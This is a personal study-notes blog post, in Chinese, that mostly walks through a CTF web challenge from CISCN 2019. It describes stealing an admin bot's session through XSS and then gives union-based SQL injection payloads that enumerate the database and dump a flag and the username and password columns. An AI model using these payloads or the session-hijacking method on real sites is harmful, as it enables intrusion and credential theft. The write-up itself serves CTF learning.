0%

20200402学习笔记

动态规划

今天下午做了一个动态规划的题 还没大弄明白,捞的不谈。等我下次看到这or 学习一段时间动态规划后再去做。

buuctf

今天做了一道ciscn 2019的题。很惭愧。
这道题是华东北赛区分区赛的一道web题,当时我没做出来,只做到了如何破解md5前六位的一步,而且是用别人写的脚本跑的。当时没做xss的部分,首先是过滤的问题,过滤的字符太多,当时没有想到怎么绕过,就没有继续做了….我太菜了。
今天在此整理一下该题的解题思路。
首先写一段xss代码,提交后把链接放到问题反馈那,用脚本跑一下md5前6位。这一步完成后会有一个bot模拟管理员,管理员访问后通过xss发送管理员的身份信息到接收平台。从接收平台获取到session后,使用管理员登录。
扫描后台发现admin.php
PHPSESSID修改后登录即可
首先用group by 判断列数,
然后找一下数据库名 -1 and 1=2 union select 1,2,database() from information_schema.schemata ->数据库名 ciscn
根据数据库名找表(通过limit看有多少表、多少多少字段)-1 union select 1,2,table_name from information_schema.tables where table_schema=’ciscn’ -》找到表flag 然后limit 找其他的表,这里其他的表没啥用
根据表名找列-1 union select 1,2,column_name from information_schema.columns where table_name =’flag’ -》找到列 flagg
根据列名查数据 -1 union select 1,2,flagg from flag 找到flag。
getflag。
彳亍。。就看看user表有啥把
-1 union select 1,2,table_name from information_schema.tables where table_schema=’ciscn’ limit 1,1 找到users表
-1 union select 1,2,column_name from information_schema.columns where table_name=’users’ 找到USER字段 limit 1,1 找到CURRENT_CONNECTIONS,username,password字段
-1 union select 1,username,password from users limit 这句话应该就对应着这个查询框 select username,password from users where id=?
这道题就结束了。

分享